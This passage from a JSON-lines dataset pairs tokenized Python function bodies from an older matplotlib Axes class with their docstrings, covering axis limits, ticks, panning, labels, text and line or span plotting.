set_ylim(ymax=1) # ymin unchanged\n\nKeyword arguments:\n\n  *ymin*: scalar\n    the min of the ylim\n  *ymax*: scalar\n    the max of the ylim\n  *emit*: [ True | False ]\n    notify observers of lim change\n\nReturns the current ylimits as a length 2 tuple\n\nACCEPTS: len(2) sequence of floats", "id": "f17238:c1:m94"}
{"signature": "def set_yscale(self, value, **kwargs):", "body": "self.yaxis.set_scale(value, **kwargs)<EOL>self.autoscale_view()<EOL>self._update_transScale()<EOL>", "docstring": "call signature::\n\n  set_yscale(value)\n\nSet the scaling of the y-axis: %(scale)s\n\nACCEPTS: [%(scale)s]\n\nDifferent kwargs are accepted, depending on the scale:\n%(scale_docs)s", "id": "f17238:c1:m96"}
{"signature": "def get_yticks(self, minor=False):", "body": "return self.yaxis.get_ticklocs(minor=minor)<EOL>", "docstring": "Return the y ticks as a list of locations", "id": "f17238:c1:m97"}
{"signature": "def set_yticks(self, ticks, minor=False):", "body": "return self.yaxis.set_ticks(ticks, minor=minor)<EOL>", "docstring": "Set the y ticks with list of *ticks*\n\nACCEPTS: sequence of floats\n\nKeyword arguments:\n\n  *minor*: [ False | True ]\n    Sets the minor ticks if True", "id": "f17238:c1:m98"}
{"signature": "def get_ymajorticklabels(self):", "body": "return cbook.silent_list('<STR_LIT>',<EOL>self.yaxis.get_majorticklabels())<EOL>", "docstring": "Get the xtick labels as a list of Text instances", "id": "f17238:c1:m99"}
{"signature": "def get_yminorticklabels(self):", "body": "return cbook.silent_list('<STR_LIT>',<EOL>self.yaxis.get_minorticklabels())<EOL>", "docstring": "Get the xtick labels as a list of Text instances", "id": "f17238:c1:m100"}
{"signature": "def get_yticklabels(self, minor=False):", "body": "return cbook.silent_list('<STR_LIT>',<EOL>self.yaxis.get_ticklabels(minor=minor))<EOL>", "docstring": "Get the xtick labels as a list of Text instances", "id": "f17238:c1:m101"}
{"signature": "def set_yticklabels(self, labels, fontdict=None, minor=False, **kwargs):", "body": "return self.yaxis.set_ticklabels(labels, fontdict,<EOL>minor=minor, **kwargs)<EOL>", "docstring": "call signature::\n\n  set_yticklabels(labels, fontdict=None, minor=False, **kwargs)\n\nSet the ytick labels with list of strings *labels*.  Return a list of\n:class:`~matplotlib.text.Text` instances.\n\n*kwargs* set :class:`~matplotlib.text.Text` properties for the labels.\nValid properties are\n%(Text)s\n\nACCEPTS: sequence of strings", "id": "f17238:c1:m102"}
{"signature": "def xaxis_date(self, tz=None):", "body": "xmin, xmax = self.dataLim.intervalx<EOL>if xmin==<NUM_LIT:0.>:<EOL><INDENT>dmax = today = datetime.date.today()<EOL>dmin = today-datetime.timedelta(days=<NUM_LIT:10>)<EOL>self._process_unit_info(xdata=(dmin, dmax))<EOL>dmin, dmax = self.convert_xunits([dmin, dmax])<EOL>self.viewLim.intervalx = dmin, dmax<EOL>self.dataLim.intervalx = dmin, dmax<EOL><DEDENT>locator = self.xaxis.get_major_locator()<EOL>if not isinstance(locator, mdates.DateLocator):<EOL><INDENT>locator = mdates.AutoDateLocator(tz)<EOL>self.xaxis.set_major_locator(locator)<EOL><DEDENT>if self.viewLim.intervalx[<NUM_LIT:0>]==<NUM_LIT:0.>:<EOL><INDENT>self.viewLim.intervalx = tuple(self.dataLim.intervalx)<EOL><DEDENT>locator.refresh()<EOL>formatter = self.xaxis.get_major_formatter()<EOL>if not isinstance(formatter, mdates.DateFormatter):<EOL><INDENT>formatter = mdates.AutoDateFormatter(locator, tz)<EOL>self.xaxis.set_major_formatter(formatter)<EOL><DEDENT>", "docstring": "Sets up x-axis ticks and labels that treat the x data as dates.\n\n        *tz* is the time zone to use in labeling dates.  Defaults to rc value.", "id": "f17238:c1:m103"}
{"signature": "def yaxis_date(self, tz=None):", "body": "ymin, ymax = self.dataLim.intervaly<EOL>if ymin==<NUM_LIT:0.>:<EOL><INDENT>dmax = today = datetime.date.today()<EOL>dmin = today-datetime.timedelta(days=<NUM_LIT:10>)<EOL>self._process_unit_info(ydata=(dmin, dmax))<EOL>dmin, dmax = self.convert_yunits([dmin, dmax])<EOL>self.viewLim.intervaly = dmin, dmax<EOL>self.dataLim.intervaly = dmin, dmax<EOL><DEDENT>locator = self.yaxis.get_major_locator()<EOL>if not isinstance(locator, mdates.DateLocator):<EOL><INDENT>locator = mdates.AutoDateLocator(tz)<EOL>self.yaxis.set_major_locator(locator)<EOL><DEDENT>if self.viewLim.intervaly[<NUM_LIT:0>]==<NUM_LIT:0.>:<EOL><INDENT>self.viewLim.intervaly = tuple(self.dataLim.intervaly)<EOL><DEDENT>locator.refresh()<EOL>formatter = self.xaxis.get_major_formatter()<EOL>if not isinstance(formatter, mdates.DateFormatter):<EOL><INDENT>formatter = mdates.AutoDateFormatter(locator, tz)<EOL>self.yaxis.set_major_formatter(formatter)<EOL><DEDENT>", "docstring": "Sets up y-axis ticks and labels that treat the y data as dates.\n\n        *tz* is the time zone to use in labeling dates.  Defaults to rc value.", "id": "f17238:c1:m104"}
{"signature": "def format_xdata(self, x):", "body": "try: return self.fmt_xdata(x)<EOL>except TypeError:<EOL><INDENT>func = self.xaxis.get_major_formatter().format_data_short<EOL>val = func(x)<EOL>return val<EOL><DEDENT>", "docstring": "Return *x* string formatted.  This function will use the attribute\nself.fmt_xdata if it is callable, else will fall back on the xaxis\nmajor formatter", "id": "f17238:c1:m105"}
{"signature": "def format_ydata(self, y):", "body": "try: return self.fmt_ydata(y)<EOL>except TypeError:<EOL><INDENT>func = self.yaxis.get_major_formatter().format_data_short<EOL>val =  func(y)<EOL>return val<EOL><DEDENT>", "docstring": "Return y string formatted.  This function will use the\n:attr:`fmt_ydata` attribute if it is callable, else will fall\nback on the yaxis major formatter", "id": "f17238:c1:m106"}
{"signature": "def format_coord(self, x, y):", "body": "if x is None:<EOL><INDENT>x = '<STR_LIT>'<EOL><DEDENT>if y is None:<EOL><INDENT>y = '<STR_LIT>'<EOL><DEDENT>xs = self.format_xdata(x)<EOL>ys = self.format_ydata(y)<EOL>return  '<STR_LIT>'%(xs,ys)<EOL>", "docstring": "return a format string formatting the *x*, *y* coord", "id": "f17238:c1:m107"}
{"signature": "def can_zoom(self):", "body": "return True<EOL>", "docstring": "Return *True* if this axes support the zoom box", "id": "f17238:c1:m108"}
{"signature": "def get_navigate(self):", "body": "return self._navigate<EOL>", "docstring": "Get whether the axes responds to navigation commands", "id": "f17238:c1:m109"}
{"signature": "def set_navigate(self, b):", "body": "self._navigate = b<EOL>", "docstring": "Set whether the axes responds to navigation toolbar commands\n\nACCEPTS: [ True | False ]", "id": "f17238:c1:m110"}
{"signature": "def get_navigate_mode(self):", "body": "return self._navigate_mode<EOL>", "docstring": "Get the navigation toolbar button status: 'PAN', 'ZOOM', or None", "id": "f17238:c1:m111"}
{"signature": "def set_navigate_mode(self, b):", "body": "self._navigate_mode = b<EOL>", "docstring": "Set the navigation toolbar button status;\n\n.. warning::\n    this is not a user-API function.", "id": "f17238:c1:m112"}
{"signature": "def start_pan(self, x, y, button):", "body": "self._pan_start = cbook.Bunch(<EOL>lim           = self.viewLim.frozen(),<EOL>trans         = self.transData.frozen(),<EOL>trans_inverse = self.transData.inverted().frozen(),<EOL>bbox          = self.bbox.frozen(),<EOL>x             = x,<EOL>y             = y<EOL>)<EOL>", "docstring": "Called when a pan operation has started.\n\n*x*, *y* are the mouse coordinates in display coords.\nbutton is the mouse button number:\n\n* 1: LEFT\n* 2: MIDDLE\n* 3: RIGHT\n\n.. note::\n    Intended to be overridden by new projection types.", "id": "f17238:c1:m113"}
{"signature": "def end_pan(self):", "body": "del self._pan_start<EOL>", "docstring": "Called when a pan operation completes (when the mouse button\nis up.)\n\n.. note::\n    Intended to be overridden by new projection types.", "id": "f17238:c1:m114"}
{"signature": "def drag_pan(self, button, key, x, y):", "body": "def format_deltas(key, dx, dy):<EOL><INDENT>if key=='<STR_LIT>':<EOL><INDENT>if(abs(dx)>abs(dy)):<EOL><INDENT>dy = dx<EOL><DEDENT>else:<EOL><INDENT>dx = dy<EOL><DEDENT><DEDENT>elif key=='<STR_LIT:x>':<EOL><INDENT>dy = <NUM_LIT:0><EOL><DEDENT>elif key=='<STR_LIT:y>':<EOL><INDENT>dx = <NUM_LIT:0><EOL><DEDENT>elif key=='<STR_LIT>':<EOL><INDENT>if <NUM_LIT:2>*abs(dx) < abs(dy):<EOL><INDENT>dx=<NUM_LIT:0><EOL><DEDENT>elif <NUM_LIT:2>*abs(dy) < abs(dx):<EOL><INDENT>dy=<NUM_LIT:0><EOL><DEDENT>elif(abs(dx)>abs(dy)):<EOL><INDENT>dy=dy/abs(dy)*abs(dx)<EOL><DEDENT>else:<EOL><INDENT>dx=dx/abs(dx)*abs(dy)<EOL><DEDENT><DEDENT>return (dx,dy)<EOL><DEDENT>p = self._pan_start<EOL>dx = x - p.x<EOL>dy = y - p.y<EOL>if dx == <NUM_LIT:0> and dy == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if button == <NUM_LIT:1>:<EOL><INDENT>dx, dy = format_deltas(key, dx, dy)<EOL>result = p.bbox.translated(-dx, -dy).transformed(p.trans_inverse)<EOL><DEDENT>elif button == <NUM_LIT:3>:<EOL><INDENT>try:<EOL><INDENT>dx = -dx / float(self.bbox.width)<EOL>dy = -dy / float(self.bbox.height)<EOL>dx, dy = format_deltas(key, dx, dy)<EOL>if self.get_aspect() != '<STR_LIT>':<EOL><INDENT>dx = <NUM_LIT:0.5> * (dx + dy)<EOL>dy = dx<EOL><DEDENT>alpha = np.power(<NUM_LIT>, (dx, dy))<EOL>start = p.trans_inverse.transform_point((p.x, p.y))<EOL>lim_points = p.lim.get_points()<EOL>result = start + alpha * (lim_points - start)<EOL>result = mtransforms.Bbox(result)<EOL><DEDENT>except OverflowError:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>return<EOL><DEDENT><DEDENT>self.set_xlim(*result.intervalx)<EOL>self.set_ylim(*result.intervaly)<EOL>", "docstring": "Called when the mouse moves during a pan operation.\n\n*button* is the mouse button number:\n\n* 1: LEFT\n* 2: MIDDLE\n* 3: RIGHT\n\n*key* is a \"shift\" key\n\n*x*, *y* are the mouse coordinates in display coords.\n\n.. note::\n    Intended to be overridden by new projection types.", "id": "f17238:c1:m115"}
{"signature": "def get_cursor_props(self):", "body": "return self._cursorProps<EOL>", "docstring": "return the cursor propertiess as a (*linewidth*, *color*)\ntuple, where *linewidth* is a float and *color* is an RGBA\ntuple", "id": "f17238:c1:m116"}
{"signature": "def set_cursor_props(self, *args):", "body": "if len(args)==<NUM_LIT:1>:<EOL><INDENT>lw, c = args[<NUM_LIT:0>]<EOL><DEDENT>elif len(args)==<NUM_LIT:2>:<EOL><INDENT>lw, c = args<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>c =mcolors.colorConverter.to_rgba(c)<EOL>self._cursorProps = lw, c<EOL>", "docstring": "Set the cursor property as::\n\n  ax.set_cursor_props(linewidth, color)\n\nor::\n\n  ax.set_cursor_props((linewidth, color))\n\nACCEPTS: a (*float*, *color*) tuple", "id": "f17238:c1:m117"}
{"signature": "def connect(self, s, func):", "body": "raise DeprecationWarning('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Register observers to be notified when certain events occur.  Register\nwith callback functions with the following signatures.  The function\nhas the following signature::\n\n    func(ax)  # where ax is the instance making the callback.\n\nThe following events can be connected to:\n\n  'xlim_changed','ylim_changed'\n\nThe connection id is is returned - you can use this with\ndisconnect to disconnect from the axes event", "id": "f17238:c1:m118"}
{"signature": "def disconnect(self, cid):", "body": "raise DeprecationWarning('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "disconnect from the Axes event.", "id": "f17238:c1:m119"}
{"signature": "def get_children(self):", "body": "children = []<EOL>children.append(self.xaxis)<EOL>children.append(self.yaxis)<EOL>children.extend(self.lines)<EOL>children.extend(self.patches)<EOL>children.extend(self.texts)<EOL>children.extend(self.tables)<EOL>children.extend(self.artists)<EOL>children.extend(self.images)<EOL>if self.legend_ is not None:<EOL><INDENT>children.append(self.legend_)<EOL><DEDENT>children.extend(self.collections)<EOL>children.append(self.title)<EOL>children.append(self.patch)<EOL>children.append(self.frame)<EOL>return children<EOL>", "docstring": "return a list of child artists", "id": "f17238:c1:m120"}
{"signature": "def contains(self,mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>return self.patch.contains(mouseevent)<EOL>", "docstring": "Test whether the mouse event occured in the axes.\n\n        Returns T/F, {}", "id": "f17238:c1:m121"}
{"signature": "def pick(self, *args):", "body": "if len(args)><NUM_LIT:1>:<EOL><INDENT>raise DeprecationWarning('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>martist.Artist.pick(self,args[<NUM_LIT:0>])<EOL>", "docstring": "call signature::\n\n    pick(mouseevent)\n\neach child artist will fire a pick event if mouseevent is over\nthe artist and the artist has picker set", "id": "f17238:c1:m122"}
{"signature": "def __pick(self, x, y, trans=None, among=None):", "body": "<EOL>if trans is not None:<EOL><INDENT>xywin = trans.transform_point((x,y))<EOL><DEDENT>else:<EOL><INDENT>xywin = x,y<EOL><DEDENT>def dist_points(p1, p2):<EOL><INDENT>'<STR_LIT>'<EOL>x1, y1 = p1<EOL>x2, y2 = p2<EOL>return math.sqrt((x1-x2)**<NUM_LIT:2>+(y1-y2)**<NUM_LIT:2>)<EOL><DEDENT>def dist_x_y(p1, x, y):<EOL><INDENT>'<STR_LIT>'<EOL>x1, y1 = p1<EOL>return min(np.sqrt((x-x1)**<NUM_LIT:2>+(y-y1)**<NUM_LIT:2>))<EOL><DEDENT>def dist(a):<EOL><INDENT>if isinstance(a, Text):<EOL><INDENT>bbox = a.get_window_extent()<EOL>l,b,w,h = bbox.bounds<EOL>verts = (l,b), (l,b+h), (l+w,b+h), (l+w, b)<EOL>xt, yt = list(zip(*verts))<EOL><DEDENT>elif isinstance(a, Patch):<EOL><INDENT>path = a.get_path()<EOL>tverts = a.get_transform().transform_path(path)<EOL>xt, yt = list(zip(*tverts))<EOL><DEDENT>elif isinstance(a, mlines.Line2D):<EOL><INDENT>xdata = a.get_xdata(orig=False)<EOL>ydata = a.get_ydata(orig=False)<EOL>xt, yt = a.get_transform().numerix_x_y(xdata, ydata)<EOL><DEDENT>return dist_x_y(xywin, np.asarray(xt), np.asarray(yt))<EOL><DEDENT>artists = self.lines + self.patches + self.texts<EOL>if callable(among):<EOL><INDENT>artists = list(filter(test, artists))<EOL><DEDENT>elif iterable(among):<EOL><INDENT>amongd = dict([(k,<NUM_LIT:1>) for k in among])<EOL>artists = [a for a in artists if a in amongd]<EOL><DEDENT>elif among is None:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not len(artists): return None<EOL>ds = [ (dist(a),a) for a in artists]<EOL>ds.sort()<EOL>return ds[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>", "docstring": "Return the artist under point that is closest to the *x*, *y*.\nIf *trans* is *None*, *x*, and *y* are in window coords,\n(0,0 = lower left).  Otherwise, *trans* is a\n:class:`~matplotlib.transforms.Transform` that specifies the\ncoordinate system of *x*, *y*.\n\nThe selection of artists from amongst which the pick function\nfinds an artist can be narrowed using the optional keyword\nargument *among*. If provided, this should be either a sequence\nof permitted artists or a function taking an artist as its\nargument and returning a true value if and only if that artist\ncan be selected.\n\nNote this algorithm calculates distance to the vertices of the\npolygon, so if you want to pick a patch, click on the edge!", "id": "f17238:c1:m123"}
{"signature": "def get_title(self):", "body": "return self.title.get_text()<EOL>", "docstring": "Get the title text string.", "id": "f17238:c1:m124"}
{"signature": "def set_title(self, label, fontdict=None, **kwargs):", "body": "default = {<EOL>'<STR_LIT>':rcParams['<STR_LIT>'],<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT>'<EOL>}<EOL>self.title.set_text(label)<EOL>self.title.update(default)<EOL>if fontdict is not None: self.title.update(fontdict)<EOL>self.title.update(kwargs)<EOL>return self.title<EOL>", "docstring": "call signature::\n\n  set_title(label, fontdict=None, **kwargs):\n\nSet the title for the axes.\n\nkwargs are Text properties:\n%(Text)s\n\nACCEPTS: str\n\n.. seealso::\n    :meth:`text`:\n        for information on how override and the optional args work", "id": "f17238:c1:m125"}
{"signature": "def get_xlabel(self):", "body": "label = self.xaxis.get_label()<EOL>return label.get_text()<EOL>", "docstring": "Get the xlabel text string.", "id": "f17238:c1:m126"}
{"signature": "def set_xlabel(self, xlabel, fontdict=None, **kwargs):", "body": "label = self.xaxis.get_label()<EOL>label.set_text(xlabel)<EOL>if fontdict is not None: label.update(fontdict)<EOL>label.update(kwargs)<EOL>return label<EOL>", "docstring": "call signature::\n\n  set_xlabel(xlabel, fontdict=None, **kwargs)\n\nSet the label for the xaxis.\n\nValid kwargs are Text properties:\n%(Text)s\nACCEPTS: str\n\n.. seealso::\n    :meth:`text`:\n        for information on how override and the optional args work", "id": "f17238:c1:m127"}
{"signature": "def get_ylabel(self):", "body": "label = self.yaxis.get_label()<EOL>return label.get_text()<EOL>", "docstring": "Get the ylabel text string.", "id": "f17238:c1:m128"}
{"signature": "def set_ylabel(self, ylabel, fontdict=None, **kwargs):", "body": "label = self.yaxis.get_label()<EOL>label.set_text(ylabel)<EOL>if fontdict is not None: label.update(fontdict)<EOL>label.update(kwargs)<EOL>return label<EOL>", "docstring": "call signature::\n\n  set_ylabel(ylabel, fontdict=None, **kwargs)\n\nSet the label for the yaxis\n\nValid kwargs are Text properties:\n%(Text)s\nACCEPTS: str\n\n.. seealso::\n    :meth:`text`:\n        for information on how override and the optional args work", "id": "f17238:c1:m129"}
{"signature": "def text(self, x, y, s, fontdict=None,<EOL>withdash=False, **kwargs):", "body": "default = {<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT:left>',<EOL>'<STR_LIT>' : self.transData,<EOL>}<EOL>if withdash:<EOL><INDENT>t = mtext.TextWithDash(<EOL>x=x, y=y, text=s,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>t = mtext.Text(<EOL>x=x, y=y, text=s,<EOL>)<EOL><DEDENT>self._set_artist_props(t)<EOL>t.update(default)<EOL>if fontdict is not None: t.update(fontdict)<EOL>t.update(kwargs)<EOL>self.texts.append(t)<EOL>t._remove_method = lambda h: self.texts.remove(h)<EOL>if '<STR_LIT>' in kwargs:  t.set_clip_box(self.bbox)<EOL>return t<EOL>", "docstring": "call signature::\n\n   text(x, y, s, fontdict=None, **kwargs)\n\n Add text in string *s* to axis at location *x*, *y*, data\n coordinates.\n\n Keyword arguments:\n\n   *fontdict*:\n     A dictionary to override the default text properties.\n     If *fontdict* is *None*, the defaults are determined by your rc\n     parameters.\n\n   *withdash*: [ False | True ]\n     Creates a :class:`~matplotlib.text.TextWithDash` instance\n     instead of a :class:`~matplotlib.text.Text` instance.\n\n Individual keyword arguments can be used to override any given\n parameter::\n\n     text(x, y, s, fontsize=12)\n\n The default transform specifies that text is in data coords,\n alternatively, you can specify text in axis coords (0,0 is\n lower-left and 1,1 is upper-right).  The example below places\n text in the center of the axes::\n\n     text(0.5, 0.5,'matplotlib',\n          horizontalalignment='center',\n          verticalalignment='center',\n          transform = ax.transAxes)\n\nYou can put a rectangular box around the text instance (eg. to\nset a background color) by using the keyword *bbox*.  *bbox* is\na dictionary of :class:`matplotlib.patches.Rectangle`\nproperties.  For example::\n\n  text(x, y, s, bbox=dict(facecolor='red', alpha=0.5))\n\nValid kwargs are :class:`matplotlib.text.Text` properties:\n\n%(Text)s", "id": "f17238:c1:m130"}
{"signature": "def annotate(self, *args, **kwargs):", "body": "a = mtext.Annotation(*args, **kwargs)<EOL>a.set_transform(mtransforms.IdentityTransform())<EOL>self._set_artist_props(a)<EOL>if '<STR_LIT>' in kwargs:  a.set_clip_path(self.patch)<EOL>self.texts.append(a)<EOL>return a<EOL>", "docstring": "call signature::\n\n  annotate(s, xy, xytext=None, xycoords='data',\n           textcoords='data', arrowprops=None, **kwargs)\n\nKeyword arguments:\n\n%(Annotation)s\n\n.. plot:: mpl_examples/pylab_examples/annotation_demo2.py", "id": "f17238:c1:m131"}
{"signature": "def axhline(self, y=<NUM_LIT:0>, xmin=<NUM_LIT:0>, xmax=<NUM_LIT:1>, **kwargs):", "body": "ymin, ymax = self.get_ybound()<EOL>yy = self.convert_yunits( y )<EOL>scaley = (yy<ymin) or (yy>ymax)<EOL>trans = mtransforms.blended_transform_factory(<EOL>self.transAxes, self.transData)<EOL>l = mlines.Line2D([xmin,xmax], [y,y], transform=trans, **kwargs)<EOL>l.x_isdata = False<EOL>self.add_line(l)<EOL>self.autoscale_view(scalex=False, scaley=scaley)<EOL>return l<EOL>", "docstring": "call signature::\n\n  axhline(y=0, xmin=0, xmax=1, **kwargs)\n\nAxis Horizontal Line\n\nDraw a horizontal line at *y* from *xmin* to *xmax*.  With the\ndefault values of *xmin* = 0 and *xmax* = 1, this line will\nalways span the horizontal extent of the axes, regardless of\nthe xlim settings, even if you change them, eg. with the\n:meth:`set_xlim` command.  That is, the horizontal extent is\nin axes coords: 0=left, 0.5=middle, 1.0=right but the *y*\nlocation is in data coordinates.\n\nReturn value is the :class:`~matplotlib.lines.Line2D`\ninstance.  kwargs are the same as kwargs to plot, and can be\nused to control the line properties.  Eg.,\n\n* draw a thick red hline at *y* = 0 that spans the xrange\n\n    >>> axhline(linewidth=4, color='r')\n\n* draw a default hline at *y* = 1 that spans the xrange\n\n    >>> axhline(y=1)\n\n* draw a default hline at *y* = .5 that spans the the middle half of\n  the xrange\n\n    >>> axhline(y=.5, xmin=0.25, xmax=0.75)\n\nValid kwargs are :class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\n.. seealso::\n    :meth:`axhspan`:\n        for example plot and source code", "id": "f17238:c1:m132"}
{"signature": "def axvline(self, x=<NUM_LIT:0>, ymin=<NUM_LIT:0>, ymax=<NUM_LIT:1>, **kwargs):", "body": "xmin, xmax = self.get_xbound()<EOL>xx = self.convert_xunits( x )<EOL>scalex = (xx<xmin) or (xx>xmax)<EOL>trans = mtransforms.blended_transform_factory(<EOL>self.transData, self.transAxes)<EOL>l = mlines.Line2D([x,x], [ymin,ymax] , transform=trans, **kwargs)<EOL>l.y_isdata = False<EOL>self.add_line(l)<EOL>self.autoscale_view(scalex=scalex, scaley=False)<EOL>return l<EOL>", "docstring": "call signature::\n\n  axvline(x=0, ymin=0, ymax=1, **kwargs)\n\nAxis Vertical Line\n\nDraw a vertical line at *x* from *ymin* to *ymax*.  With the\ndefault values of *ymin* = 0 and *ymax* = 1, this line will\nalways span the vertical extent of the axes, regardless of the\nxlim settings, even if you change them, eg. with the\n:meth:`set_xlim` command.  That is, the vertical extent is in\naxes coords: 0=bottom, 0.5=middle, 1.0=top but the *x* location\nis in data coordinates.\n\nReturn value is the :class:`~matplotlib.lines.Line2D`\ninstance.  kwargs are the same as kwargs to plot, and can be\nused to control the line properties.  Eg.,\n\n* draw a thick red vline at *x* = 0 that spans the yrange\n\n    >>> axvline(linewidth=4, color='r')\n\n* draw a default vline at *x* = 1 that spans the yrange\n\n    >>> axvline(x=1)\n\n* draw a default vline at *x* = .5 that spans the the middle half of\n  the yrange\n\n    >>> axvline(x=.5, ymin=0.25, ymax=0.75)\n\nValid kwargs are :class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\n.. seealso::\n    :meth:`axhspan`:\n        for example plot and source code", "id": "f17238:c1:m133"}
{"signature": "def axhspan(self, ymin, ymax, xmin=<NUM_LIT:0>, xmax=<NUM_LIT:1>, **kwargs):", "body": "trans = mtransforms.blended_transform_factory(<EOL>self.transAxes, self.transData)<EOL>self._process_unit_info( [xmin, xmax], [ymin, ymax], kwargs=kwargs )<EOL>xmin, xmax = self.convert_xunits( [xmin, xmax] )<EOL>ymin, ymax = self.convert_yunits( [ymin, ymax] )<EOL>verts = (xmin, ymin), (xmin, ymax), (xmax, ymax), (xmax, ymin)<EOL>p = mpatches.Polygon(verts, **kwargs)<EOL>p.set_transform(trans)<EOL>p.x_isdata = False<EOL>self.add_patch(p)<EOL>return p<EOL>", "docstring": "call signature::\n\n  axhspan(ymin, ymax, xmin=0, xmax=1, **kwargs)\n\nAxis Horizontal Span.\n\n*y* coords are in data units and *x* coords are in axes (relative\n0-1) units.\n\nDraw a horizontal span (rectangle) from *ymin* to *ymax*.\nWith the default values of *xmin* = 0 and *xmax* = 1, this\nalways spans the xrange, regardless of the xlim settings, even\nif you change them, eg. with the :meth:`set_xlim` command.\nThat is, the horizontal extent is in axes coords: 0=left,\n0.5=middle, 1.0=right but the *y* location is in data\ncoordinates.\n\nReturn value is a :class:`matplotlib.patches.Polygon`\ninstance.\n\nExamples:\n\n* draw a gray rectangle from *y* = 0.25-0.75 that spans the\n  horizontal extent of the axes\n\n    >>> axhspan(0.25, 0.75, facecolor='0.5', alpha=0.5)\n\nValid kwargs are :class:`~matplotlib.patches.Polygon` properties:\n\n%(Polygon)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/axhspan_demo.py", "id": "f17238:c1:m134"}
{"signature": "def axvspan(self, xmin, xmax, ymin=<NUM_LIT:0>, ymax=<NUM_LIT:1>, **kwargs):", "body": "trans = mtransforms.blended_transform_factory(<EOL>self.transData, self.transAxes)<EOL>self._process_unit_info( [xmin, xmax], [ymin, ymax], kwargs=kwargs )<EOL>xmin, xmax = self.convert_xunits( [xmin, xmax] )<EOL>ymin, ymax = self.convert_yunits( [ymin, ymax] )<EOL>verts = [(xmin, ymin), (xmin, ymax), (xmax, ymax), (xmax, ymin)]<EOL>p = mpatches.Polygon(verts, **kwargs)<EOL>p.set_transform(trans)<EOL>p.y_isdata = False<EOL>self.add_patch(p)<EOL>return p<EOL>", "docstring": "call signature::\n\n  axvspan(xmin, xmax, ymin=0, ymax=1, **kwargs)\n\nAxis Vertical Span.\n\n*x* coords are in data units and *y* coords are in axes (relative\n0-1) units.\n\nDraw a vertical span (rectangle) from *xmin* to *xmax*.  With\nthe default values of *ymin* = 0 and *ymax* = 1, this always\nspans the yrange, regardless of the ylim settings, even if you\nchange them, eg. with the :meth:`set_ylim` command.  That is,\nthe vertical extent is in axes coords: 0=bottom, 0.5=middle,\n1.0=top but the *y* location is in data coordinates.\n\nReturn value is the :class:`matplotlib.patches.Polygon`\ninstance.\n\nExamples:\n\n* draw a vertical green translucent rectangle from x=1.25 to 1.55 that\n  spans the yrange of the axes\n\n    >>> axvspan(1.25, 1.55, facecolor='g', alpha=0.5)\n\nValid kwargs are :class:`~matplotlib.patches.Polygon`\nproperties:\n\n%(Polygon)s\n\n.. seealso::\n    :meth:`axhspan`:\n        for example plot and source code", "id": "f17238:c1:m135"}
{"signature": "def hlines(self, y, xmin, xmax, colors='<STR_LIT:k>', linestyles='<STR_LIT>',<EOL>label='<STR_LIT>', **kwargs):", "body": "if kwargs.get('<STR_LIT>') is not None:<EOL><INDENT>raise DeprecationWarning('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>y = self.convert_yunits( y )<EOL>xmin = self.convert_xunits( xmin )<EOL>xmax = self.convert_xunits( xmax )<EOL>if not iterable(y): y = [y]<EOL>if not iterable(xmin): xmin = [xmin]<EOL>if not iterable(xmax): xmax = [xmax]<EOL>y = np.asarray(y)<EOL>xmin = np.asarray(xmin)<EOL>xmax = np.asarray(xmax)<EOL>if len(xmin)==<NUM_LIT:1>:<EOL><INDENT>xmin = np.resize( xmin, y.shape )<EOL><DEDENT>if len(xmax)==<NUM_LIT:1>:<EOL><INDENT>xmax = np.resize( xmax, y.shape )<EOL><DEDENT>if len(xmin)!=len(y):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(xmax)!=len(y):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>verts = [ ((thisxmin, thisy), (thisxmax, thisy))<EOL>for thisxmin, thisxmax, thisy in zip(xmin, xmax, y)]<EOL>coll = mcoll.LineCollection(verts, colors=colors,<EOL>linestyles=linestyles, label=label)<EOL>self.add_collection(coll)<EOL>coll.update(kwargs)<EOL>minx = min(xmin.min(), xmax.min())<EOL>maxx = max(xmin.max(), xmax.max())<EOL>miny = y.min()<EOL>maxy = y.max()<EOL>corners = (minx, miny), (maxx, maxy)<EOL>self.update_datalim(corners)<EOL>self.autoscale_view()<EOL>return coll<EOL>", "docstring": "call signature::\n\n  hlines(y, xmin, xmax, colors='k', linestyles='solid', **kwargs)\n\nPlot horizontal lines at each *y* from *xmin* to *xmax*.\n\nReturns the :class:`~matplotlib.collections.LineCollection`\nthat was added.\n\nRequired arguments:\n\n  *y*:\n    a 1-D numpy array or iterable.\n\n  *xmin* and *xmax*:\n    can be scalars or ``len(x)`` numpy arrays.  If they are\n    scalars, then the respective values are constant, else the\n    widths of the lines are determined by *xmin* and *xmax*.\n\nOptional keyword arguments:\n\n  *colors*:\n    a line collections color argument, either a single color\n    or a ``len(y)`` list of colors\n\n  *linestyles*:\n    [ 'solid' | 'dashed' | 'dashdot' | 'dotted' ]\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/hline_demo.py", "id": "f17238:c1:m136"}
